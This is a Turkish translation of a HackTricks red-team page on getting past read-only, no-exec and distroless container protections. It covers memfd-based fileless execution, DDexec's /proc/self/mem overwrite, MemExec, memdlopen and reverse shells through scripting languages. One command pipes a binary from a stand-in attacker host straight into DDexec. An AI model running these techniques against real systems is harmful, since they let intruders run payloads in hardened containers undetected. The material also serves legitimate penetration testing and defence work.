.. | ||
ddexec.md | ||
README.md |
FS korumalarını atlatma: salt okunur / no-exec / Distroless
AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- [Resmi PEASS & HackTricks ürünleri]'ni edinin (https://peass.creator-spring.com)
- [The PEASS Ailesi]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'lerimiz]'in koleksiyonu
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek.
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşulan Lehçe gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Videolar
Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha detaylı açıklanmış şekilde bulabilirsiniz:
- DEF CON 31 - Gizlilik ve Kaçınma için Linux Bellek Manipülasyonu Keşfi
- DDexec-ng ve bellek içi dlopen() ile Gizli sızıntılar - HackTricks Takip 2023
salt okunur / no-exec senaryosu
Özellikle konteynerlerde salt okunur (ro) dosya sistemi koruması ile donatılmış Linux makineleri bulmak artık daha yaygın hale gelmektedir. Bu, salt okunur dosya sistemiyle bir konteyner çalıştırmak için securitycontext
içinde readOnlyRootFilesystem: true
ayarlamak kadar kolaydır:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, /dev/shm
hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör no-exec koruması ile bağlanacaktır, bu nedenle buraya bir ikili dosya indirirseniz onu çalıştıramayacaksınız.
{% hint style="warning" %}
Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya kubectl
gibi enumaratörler gibi) ikili dosyaları indirip çalıştırmayı karmaşık hale getirir.
{% endhint %}
En Kolay Atlatma: Betikler
İkili dosyaları belirttiğimi unutmayın, yürütülebilir herhangi bir betik (interpreter makinede varsa) çalıştırabilirsiniz, örneğin sh
varsa bir kabuk betiği veya python
yüklüyse bir python betiği.
Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.
Bellek Atlatmaları
Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, bellekten çalıştırmaktır, çünkü korumalar orada uygulanmaz.
FD + exec syscall atlatma
Makinede Python, Perl veya Ruby gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (create_memfd
syscall), bu korumalar tarafından korunmayacak ve ardından bir exec
syscall çağırarak fd'yi çalıştırılacak dosya olarak belirtebilirsiniz.
Bunun için kolayca fileless-elf-exec projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu b64 kodlanmış ve şifrelenmiş bir şekilde içeren bir betik oluşturacak ve onu çözümlemek ve sıkıştırmak için talimatlarla birlikte create_memfd
syscall'i çağırarak oluşturulan bir fd içinde saklayacak ve çalıştırmak için exec syscall'i çağıracaktır.
{% hint style="warning" %}
Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten ham syscalls çağırmak için herhangi bir varsayılan yola sahip değillerdir, bu nedenle create_memfd
'yi çağırmak için bellek fd oluşturulamaz.
Ayrıca, /dev/shm
içinde bir dosya ile bir düzenli fd oluşturmak çalışmayacaktır, çünkü no-exec koruması uygulanacağından çalıştırmanıza izin verilmeyecektir.
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec, kendi işleminizin /proc/self/mem
'ini üzerine yazarak belleğinizi değiştirmenizi sağlayan bir tekniktir.
Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek bir shellcode yazabilir ve işlemi herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz.
{% hint style="success" %} DDexec / EverythingExec, kendi shellcode'unuzu yüklemenize ve bellekten herhangi bir ikili dosyayı çalıştırmanıza olanak tanır. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
MemExec
Memexec, DDexec'in doğal bir sonraki adımıdır. Farklı bir ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan, DDexec tekniği aracılığıyla memexec shellcode'unu çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz.
Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek https://github.com/arget13/memexec/blob/main/a.php adresinde bulunabilir.
Memdlopen
DDexec'e benzer bir amaçla, memdlopen tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir.
Distroless Atlatma
Distroless Nedir
Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan en temel bileşenleri içerir; kütüphaneler ve çalışma zamanı bağımlılıklarını içerir, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini azaltmak ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir.
Ters Kabuk
Distroless konteynerlerde genellikle sh
veya bash
gibi normal bir kabuk bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız ls
, whoami
, id
gibi ikili dosyaları da bulamazsınız.
{% hint style="warning" %} Bu nedenle, genellikle yaptığınız gibi bir ters kabuk alamayacak veya sistemde numaralandırma yapamayacaksınız. {% endhint %}
Ancak, ele geçirilen konteyner örneğin bir flask web uygulaması çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir Python ters kabuk alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve çoğu betik dili ile aynı şeyi yapabilirsiniz.
{% hint style="success" %} Betik dili kullanarak dilin yeteneklerini kullanarak sistemde numaralandırma yapabilirsiniz. {% endhint %}
Eğer read-only/no-exec
korumaları yoksa, ters kabuğunuzu kullanarak ikili dosyalarınızı dosya sistemine yazabilir ve çalıştırabilirsiniz.
{% hint style="success" %} Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için önceki bellek yürütme tekniklerini kullanabilirsiniz. {% endhint %}
RCE zafiyetlerini kullanarak betik dillerinden ters kabuklar almayı ve hafızadan ikili dosyaları çalıştırmayı nasıl istismar edeceğinize dair örnekler https://github.com/carlospolop/DistrolessRCE adresinde bulunabilir.
Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşulan Lehçe gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.